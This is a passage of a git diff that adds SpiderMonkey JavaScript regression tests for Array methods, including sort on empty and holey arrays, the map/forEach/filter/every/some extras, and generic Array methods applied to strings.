+ * SUMMARY: arr.sort() should not output |undefined| when |arr| is empty
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=178722
+ *
+ * ECMA-262 Ed.3: 15.4.4.11 Array.prototype.sort (comparefn)
+ *
+ * 1. Call the [[Get]] method of this object with argument "length".
+ * 2. Call ToUint32(Result(1)).
+ * 3. Perform an implementation-dependent sequence of calls to the [[Get]],
+ * [[Put]], and [[Delete]] methods of this object, etc. etc.
+ * 4. Return this object.
+ *
+ *
+ * Note that sort() is done in-place on |arr|. In other words, sort() is a
+ * "destructive" method rather than a "functional" method. The return value
+ * of |arr.sort()| and |arr| are the same object.
+ *
+ * If |arr| is an empty array, the return value of |arr.sort()| should be
+ * an empty array, not the value |undefined| as was occurring in bug 178722.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 178722;
+var summary = 'arr.sort() should not output |undefined| when |arr| is empty';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr;
+
+
+// create empty array or pseudo-array objects in various ways
+var arr1 = Array();
+var arr2 = new Array();
+var arr3 = [];
+var arr4 = [1];
+arr4.pop();
+
+
+status = inSection(1);
+arr = arr1.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr1;
+expect = true;
+addThis();
+
+status = inSection(2);
+arr = arr2.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr2;
+expect = true;
+addThis();
+
+status = inSection(3);
+arr = arr3.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr3;
+expect = true;
+addThis();
+
+status = inSection(4);
+arr = arr4.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr4;
+expect = true;
+addThis();
+
+// now do the same thing, with non-default sorting:
+function g() {return 1;}
+
+status = inSection('1a');
+arr = arr1.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr1;
+expect = true;
+addThis();
+
+status = inSection('2a');
+arr = arr2.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr2;
+expect = true;
+addThis();
+
+status = inSection('3a');
+arr = arr3.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr3;
+expect = true;
+addThis();
+
+status = inSection('4a');
+arr = arr4.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr4;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-255555.js b/js/src/tests/non262/Array/regress-255555.js
new file mode 100644
index 0000000000..e4b2814b21
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-255555.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 255555;
+var summary = 'Array.prototype.sort(comparefn) never passes undefined to comparefn';
+var actual = 'not undefined';
+var expect = 'not undefined';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function comparefn(a,b)
+{
+ if (typeof a == 'undefined')
+ {
+ actual = 'undefined';
+ return 1;
+ }
+ if (typeof b == 'undefined')
+ {
+ actual = 'undefined';
+ return -1;
+ }
+ return a - b;
+}
+
+var arry = [ 1, 2, undefined ].sort(comparefn)
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-290592.js b/js/src/tests/non262/Array/regress-290592.js
new file mode 100644
index 0000000000..788459a4ef
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-290592.js
@@ -0,0 +1,661 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290592;
+var summary = 'Array extras: forEach, indexOf, filter, map';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Utility functions
+
+function identity(v, index, array)
+{
+ reportCompare(v, array[index], 'identity: check callback argument consistency');
+ return v;
+}
+
+function mutate(v, index, array)
+{
+ reportCompare(v, array[index], 'mutate: check callback argument consistency');
+ if (index == 0)
+ {
+ array[1] = 'mutated';
+ delete array[2];
+ array.push('not visited');
+ }
+ return v;
+}
+
+function mutateForEach(v, index, array)
+{
+ reportCompare(v, array[index], 'mutateForEach: check callback argument consistency');
+ if (index == 0)
+ {
+ array[1] = 'mutated';
+ delete array[2];
+ array.push('not visited');
+ }
+ actual += v + ',';
+}
+
+function makeUpperCase(v, index, array)
+{
+ reportCompare(v, array[index], 'makeUpperCase: check callback argument consistency');
+ try
+ {
+ return v.toUpperCase();
+ }
+ catch(e)
+ {
+ }
+ return v;
+}
+
+
+function concat(v, index, array)
+{
+ reportCompare(v, array[index], 'concat: check callback argument consistency');
+ actual += v + ',';
+}
+
+
+function isUpperCase(v, index, array)
+{
+ reportCompare(v, array[index], 'isUpperCase: check callback argument consistency');
+ try
+ {
+ return v == v.toUpperCase();
+ }
+ catch(e)
+ {
+ }
+ return false;
+}
+
+function isString(v, index, array)
+{
+ reportCompare(v, array[index], 'isString: check callback argument consistency');
+ return typeof v == 'string';
+}
+
+
+// callback object.
+function ArrayCallback(state)
+{
+ this.state = state;
+}
+
+ArrayCallback.prototype.makeUpperCase = function (v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.makeUpperCase: check callback argument consistency');
+ try
+ {
+ return this.state ? v.toUpperCase() : v.toLowerCase();
+ }
+ catch(e)
+ {
+ }
+ return v;
+};
+
+ArrayCallback.prototype.concat = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.concat: check callback argument consistency');
+ actual += v + ',';
+};
+
+ArrayCallback.prototype.isUpperCase = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.isUpperCase: check callback argument consistency');
+ try
+ {
+ return this.state ? true : (v == v.toUpperCase());
+ }
+ catch(e)
+ {
+ }
+ return false;
+};
+
+ArrayCallback.prototype.isString = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.isString: check callback argument consistency');
+ return this.state ? true : (typeof v == 'string');
+};
+
+function dumpError(e)
+{
+ var s = e.name + ': ' + e.message +
+ ' File: ' + e.fileName +
+ ', Line: ' + e.lineNumber +
+ ', Stack: ' + e.stack;
+ return s;
+}
+
+var obj;
+var strings = ['hello', 'Array', 'WORLD'];
+var mixed = [0, '0', 0];
+var sparsestrings = new Array();
+sparsestrings[2] = 'sparse';
+
+if ('map' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:map
+
+ // test Array.map
+
+ // map has 1 required argument
+ expect = 1;
+ actual = Array.prototype.map.length;
+ reportCompare(expect, actual, 'Array.prototype.map.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.map();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.map(undefined) throws TypeError');
+
+ try
+ {
+ // identity map
+ expect = 'hello,Array,WORLD';
+ actual = strings.map(identity).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: identity');
+
+
+ try
+ {
+ expect = 'hello,mutated,';
+ actual = strings.map(mutate).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: mutate');
+
+ strings = ['hello', 'Array', 'WORLD'];
+
+ try
+ {
+ // general map
+ expect = 'HELLO,ARRAY,WORLD';
+ actual = strings.map(makeUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase');
+
+ try
+ {
+ // pass object method as map callback
+ expect = 'HELLO,ARRAY,WORLD';
+ var obj = new ArrayCallback(true);
+ actual = strings.map(obj.makeUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase with object callback');
+
+ try
+ {
+ expect = 'hello,array,world';
+ obj = new ArrayCallback(false);
+ actual = strings.map(obj.makeUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: lowercase with object callback');
+
+ try
+ {
+ // map on sparse arrays
+ expect = ',,SPARSE';
+ actual = sparsestrings.map(makeUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase on sparse array');
+}
+
+if ('forEach' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:forEach
+
+ // test Array.forEach
+
+ // forEach has 1 required argument
+ expect = 1;
+ actual = Array.prototype.forEach.length;
+ reportCompare(expect, actual, 'Array.prototype.forEach.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.forEach();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.forEach(undefined) throws TypeError');
+
+ try
+ {
+ // general forEach
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ strings.forEach(concat);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach');
+
+ try
+ {
+ expect = 'hello,mutated,';
+ actual = '';
+ strings.forEach(mutateForEach);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach: mutate');
+
+ strings = ['hello', 'Array', 'WORLD'];
+
+
+
+ try
+ {
+ // pass object method as forEach callback
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ obj = new ArrayCallback(true);
+ strings.forEach(obj.concat, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach with object callback 1');
+
+ try
+ {
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ obj = new ArrayCallback(false);
+ strings.forEach(obj.concat, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach with object callback 2');
+
+ try
+ {
+ // test forEach on sparse arrays
+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = 'sparse,';
+ actual = '';
+ sparsestrings.forEach(concat);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach on sparse array');
+}
+
+if ('filter' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:filter
+
+ // test Array.filter
+
+ // filter has 1 required argument
+ expect = 1;
+ actual = Array.prototype.filter.length;
+ reportCompare(expect, actual, 'Array.prototype.filter.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.filter();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.filter(undefined) throws TypeError');
+
+ try
+ {
+ // test general filter
+ expect = 'WORLD';
+ actual = strings.filter(isUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter');
+
+ try
+ {
+ expect = 'WORLD';
+ obj = new ArrayCallback(false);
+ actual = strings.filter(obj.isUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter object callback 1');
+
+ try
+ {
+ expect = 'hello,Array,WORLD';
+ obj = new ArrayCallback(true);
+ actual = strings.filter(obj.isUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.filter object callback 2');
+}
+
+if ('every' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:every
+
+ // test Array.every
+
+ // every has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.every.length;
+ reportCompare(expect, actual, 'Array.prototype.every.length == 1');
+
+ // throw TypeError if no every callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.every();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.every(undefined) throws TypeError');
+
+ // test general every
+
+ try
+ {
+ expect = true;
+ actual = strings.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: every element is a string');
+
+ try
+ {
+ expect = false;
+ actual = mixed.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: every element is a string');
+
+ try
+ {
+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = true;
+ actual = sparsestrings.every(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: every element is a string');
+
+ // pass object method as map callback
+
+ obj = new ArrayCallback(false);
+
+ try
+ {
+ expect = true;
+ actual = strings.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: every element is a string, via object callback');
+
+ try
+ {
+ expect = false;
+ actual = mixed.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e) ;
+ }
+ reportCompare(expect, actual, 'mixed: every element is a string, via object callback');
+
+ try
+ {
+ // see https://bugzilla.mozilla.org/show_bug.cgi?id=311082
+ expect = true;
+ actual = sparsestrings.every(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: every element is a string, via object callback');
+
+}
+
+if ('some' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:some
+
+ // test Array.some
+
+ // some has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.some.length;
+ reportCompare(expect, actual, 'Array.prototype.some.length == 1');
+
+ // throw TypeError if no some callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.some();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.some(undefined) throws TypeError');
+
+ // test general some
+
+ try
+ {
+ expect = true;
+ actual = strings.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: some element is a string');
+
+ try
+ {
+ expect = true;
+ actual = mixed.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: some element is a string');
+
+ try
+ {
+ expect = true;
+ actual = sparsestrings.some(isString);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: some element is a string');
+
+ // pass object method as map callback
+
+ obj = new ArrayCallback(false);
+
+ try
+ {
+ expect = true;
+ actual = strings.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'strings: some element is a string, via object callback');
+
+ try
+ {
+ expect = true;
+ actual = mixed.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'mixed: some element is a string, via object callback');
+
+ try
+ {
+ expect = true;
+ actual = sparsestrings.some(obj.isString, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'sparsestrings: some element is a string, via object callback');
+
+}
+
+if ('indexOf' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:indexOf
+
+ // test Array.indexOf
+
+ // indexOf has 1 required argument
+
+ expect = 1;
+ actual = Array.prototype.indexOf.length;
+ reportCompare(expect, actual, 'Array.prototype.indexOf.length == 1');
+
+ // test general indexOf
+
+ try
+ {
+ expect = -1;
+ actual = mixed.indexOf('not found');
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf returns -1 if value not found');
+
+ try
+ {
+ expect = 0;
+ actual = mixed.indexOf(0);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf matches using strict equality');
+
+ try
+ {
+ expect = 1;
+ actual = mixed.indexOf('0');
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf matches using strict equality');
+
+ try
+ {
+ expect = 2;
+ actual = mixed.indexOf(0, 1);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'indexOf begins searching at fromIndex');
+}
+
diff --git a/js/src/tests/non262/Array/regress-299644.js b/js/src/tests/non262/Array/regress-299644.js
new file mode 100644
index 0000000000..6a19cf54b9
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-299644.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 299644;
+var summary = 'Arrays with holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+actual = (new Array(10).concat()).length;
+expect = 10;
+reportCompare(expect, actual, '(new Array(10).concat()).length == 10');
+
+var a = new Array(10);
+actual = true;
+expect = true;
+for (var p in a)
+{
+ actual = false;
+ break;
+}
+reportCompare(expect, actual, 'Array holes are not enumerable');
diff --git a/js/src/tests/non262/Array/regress-300858.js b/js/src/tests/non262/Array/regress-300858.js
new file mode 100644
index 0000000000..2789375571
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-300858.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 300858;
+var summary = 'Do not crash when sorting array with holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var arry = [];
+arry[6] = 'six';
+arry[8] = 'eight';
+arry[9] = 'nine';
+arry[13] = 'thirteen';
+arry[14] = 'fourteen';
+arry[21] = 'twentyone';
+arry.sort();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-304828.js b/js/src/tests/non262/Array/regress-304828.js
new file mode 100644
index 0000000000..0b15e21d28
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-304828.js
@@ -0,0 +1,256 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304828;
+var summary = 'Array Generic Methods';
+var actual = '';
+var expect = '';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var value;
+
+// use Array methods on a String
+// join
+value = '123';
+expect = '1,2,3';
+try
+{
+ actual = Array.prototype.join.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': join');
+
+// reverse
+value = '123';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.reverse.call(value) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': reverse');
+
+// sort
+value = 'cba';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.sort.call(value) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': sort');
+
+// push
+value = 'abc';
+expect = 6;
+try
+{
+ Array.prototype.push.call(value, 'd', 'e', 'f');
+ throw new Error("didn't throw");
+}
+catch(e)
+{
+ reportCompare(true, e instanceof TypeError,
+ "push on a string primitive should throw TypeError");
+}
+reportCompare('abc', value, summary + ': push string primitive');
+
+value = new String("abc");
+expect = 6;
+try
+{
+ Array.prototype.push.call(value, 'd', 'e', 'f');
+ throw new Error("didn't throw");
+}
+catch(e)
+{
+ reportCompare(true, e instanceof TypeError,
+ "push on a String object should throw TypeError");
+}
+reportCompare("d", value[3], summary + ': push String object index 3');
+reportCompare("e", value[4], summary + ': push String object index 4');
+reportCompare("f", value[5], summary + ': push String object index 5');
+
+// pop
+value = 'abc';
+expect = "TypeError: property 2 is non-configurable and can't be deleted";
+try
+{
+ actual = Array.prototype.pop.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': pop');
+reportCompare('abc', value, summary + ': pop');
+
+// unshift
+value = 'def';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.unshift.call(value, 'a', 'b', 'c');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': unshift');
+reportCompare('def', value, summary + ': unshift');
+
+// shift
+value = 'abc';
+expect = 'TypeError: 0 is read-only';
+try
+{
+ actual = Array.prototype.shift.call(value);
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': shift');
+reportCompare('abc', value, summary + ': shift');
+
+// splice
+value = 'abc';
+expect = 'TypeError: 1 is read-only';
+try
+{
+ actual = Array.prototype.splice.call(value, 1, 1) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': splice');
+
+// concat
+value = 'abc';
+expect = 'abc,d,e,f';
+try
+{
+ actual = Array.prototype.concat.call(value, 'd', 'e', 'f') + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': concat');
+
+// slice
+value = 'abc';
+expect = 'b';
+try
+{
+ actual = Array.prototype.slice.call(value, 1, 2) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': slice');
+
+// indexOf
+value = 'abc';
+expect = 1;
+try
+{
+ actual = Array.prototype.indexOf.call(value, 'b');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': indexOf');
+
+// lastIndexOf
+value = 'abcabc';
+expect = 4;
+try
+{
+ actual = Array.prototype.lastIndexOf.call(value, 'b');
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': lastIndexOf');
+
+// forEach
+value = 'abc';
+expect = 'ABC';
+actual = '';
+try
+{
+ Array.prototype.forEach.call(value,
+ function (v, index, array)
+ {actual += array[index].toUpperCase();});
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': forEach');
+
+// map
+value = 'abc';
+expect = 'A,B,C';
+try
+{
+ actual = Array.prototype.map.call(value,
+ function (v, index, array)
+ {return v.toUpperCase();}) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': map');
+
+// filter
+value = '1234567890';
+expect = '2,4,6,8,0';
+try
+{
+ actual = Array.prototype.filter.call(value,
+ function (v, index, array)
+ {return array[index] % 2 == 0;}) + '';
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': filter');
+
+// every
+value = '1234567890';
+expect = false;
+try
+{
+ actual = Array.prototype.every.call(value,
+ function (v, index, array)
+ {return array[index] % 2 == 0;});
+}
+catch(e)
+{
+ actual = e + '';
+}
+reportCompare(expect, actual, summary + ': every');
+
+
+
diff --git a/js/src/tests/non262/Array/regress-305002.js b/js/src/tests/non262/Array/regress-305002.js
new file mode 100644
index 0000000000..e59668e7f8
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-305002.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305002;
+var summary = '[].every(f) == true';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var notcalled = true;
+
+function callback()
+{
+ notcalled = false;
+}
+
+expect = true;
+actual = [].every(callback) && notcalled;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-310351.js b/js/src/tests/non262/Array/regress-310351.js
new file mode 100644
index 0000000000..40401c5369
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-310351.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310351;
+var summary = 'Convert host "list" objects to arrays';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var nodeList = [];
+if (typeof document != 'undefined')
+{
+ nodeList = document.getElementsByTagName('*');
+}
+else
+{
+ printStatus('test using dummy array since no document available');
+}
+
+var array = Array.prototype.slice.call(nodeList, 0);
+
+expect = 'Array';
+actual = array.constructor.name;
+
+// nodeList is live and may change
+var saveLength = nodeList.length;
+
+reportCompare(expect, actual, summary + ': constructor test');
+
+expect = saveLength;
+actual = array.length;
+
+reportCompare(expect, actual, summary + ': length test');
+expect = true;
+actual = true;
+
+for (var i = 0; i < saveLength; i++)
+{
+ if (array[i] != nodeList[i])
+ {
+ actual = false;
+ summary += ' Comparison failed: array[' + i + ']=' + array[i] +
+ ', nodeList[' + i + ']=' + nodeList[i];
+ break;
+ }
+}
+
+reportCompare(expect, actual, summary + ': identical elements test');
+
diff --git a/js/src/tests/non262/Array/regress-310425-01.js b/js/src/tests/non262/Array/regress-310425-01.js
new file mode 100644
index 0000000000..a60d6660a4
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-310425-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310425;
+var summary = 'Array.indexOf/lastIndexOf edge cases';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = -1;
+actual = [].lastIndexOf(undefined, -1);
+reportCompare(expect, actual, summary);
+
+expect = -1;
+actual = [].indexOf(undefined, -1);
+reportCompare(expect, actual, summary);
+
+var x = [];
+x[1 << 30] = 1;
+expect = (1 << 30);
+actual = x.lastIndexOf(1);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-310425-02.js b/js/src/tests/non262/Array/regress-310425-02.js
new file mode 100644
index 0000000000..ff9e88ae4e
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-310425-02.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310425;
+var summary = 'Array.indexOf/lastIndexOf edge cases';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = -1;
+actual = Array(1).indexOf(1);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-311515.js b/js/src/tests/non262/Array/regress-311515.js
new file mode 100644
index 0000000000..c6d4928ce7
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-311515.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311515;
+var summary = 'Array.sort should skip holes and undefined during sort';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [, 1, , 2, undefined];
+
+actual = a.sort().toString();
+expect = '1,2,,,';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-315509-01.js b/js/src/tests/non262/Array/regress-315509-01.js
new file mode 100644
index 0000000000..7d29c5946f
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-315509-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
